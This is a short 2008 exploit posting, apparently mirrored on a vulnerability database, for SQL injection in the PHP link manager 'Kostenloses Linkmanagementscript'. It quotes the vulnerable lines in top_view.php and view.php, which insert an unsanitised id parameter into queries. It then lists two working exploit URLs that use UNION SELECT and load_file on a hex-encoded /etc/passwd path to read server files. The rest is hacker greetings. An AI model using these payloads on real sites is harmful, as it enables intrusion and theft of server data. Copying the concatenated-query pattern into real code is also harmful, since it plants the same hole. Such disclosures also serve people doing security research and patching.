Kostenloses Linkmanagementscript SQL Injection Vulnerabilities

🗓️ 17 May 2008 00:00:00Reported by RootType

Kostenloses Linkmanagementscript SQL Injection Vulnerabilities. SQL injection vulnerabilities discovered in top_view.php and view.php scripts, exploited by young Iranian h4ck3rz


                                                &nbsp;&nbsp;#######################################################################################
&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#
&nbsp;&nbsp;#&nbsp;...::::Kostenloses&nbsp;Linkmanagementscript&nbsp;SQL&nbsp;Injection&nbsp;Vulnerabilities&nbsp;::::...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
&nbsp;&nbsp;#######################################################################################

Virangar&nbsp;Security&nbsp;Team

www.virangar.net

--------
Discoverd&nbsp;By&nbsp;:virangar&nbsp;security&nbsp;team(hadihadi)

special&nbsp;tnx&nbsp;to:MR.nosrati,black.shadowes,MR.hesy,Zahra

&amp;&nbsp;all&nbsp;virangar&nbsp;members&nbsp;&amp;&nbsp;all&nbsp;hackerz

greetz:to&nbsp;my&nbsp;best&nbsp;friend&nbsp;in&nbsp;the&nbsp;world&nbsp;hadi_aryaie2004
&amp;&nbsp;my&nbsp;lovely&nbsp;friend&nbsp;arash(imm02tal)
-----

-------vuln&nbsp;codes&nbsp;in:-----------
top_view.php:
line&nbsp;3:$id&nbsp;=&nbsp;$_GET['id'];
..
..
ine&nbsp;19:$voting_page_command_sql&nbsp;=&nbsp;&quot;SELECT&nbsp;votings,&nbsp;worth&nbsp;FROM&nbsp;&quot;.$tab_links.&quot;&nbsp;WHERE&nbsp;id&nbsp;=&nbsp;'&quot;.$id.&quot;'&quot;;
*********
view.php:
line&nbsp;8:$id&nbsp;=&nbsp;$_GET['id'];
line&nbsp;9:$view_page_command_sql&nbsp;=&nbsp;&quot;SELECT&nbsp;url,&nbsp;hits&nbsp;FROM&nbsp;&quot;.$tab_links.&quot;&nbsp;WHERE&nbsp;id&nbsp;=&nbsp;'&quot;.$id.&quot;'&quot;;
---
exploits:
http://site.com/[patch]/view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/*
http://site.com/[patch]/top_view.php?id='/**/union/**/select/**/now(),load_file(0x2f6574632f706173737764)/**/from/**/mysql.user/*
---
young&nbsp;iranian&nbsp;h4ck3rz

17 May 2008 00:00Current

7.1High risk

Vulners AI Score7.1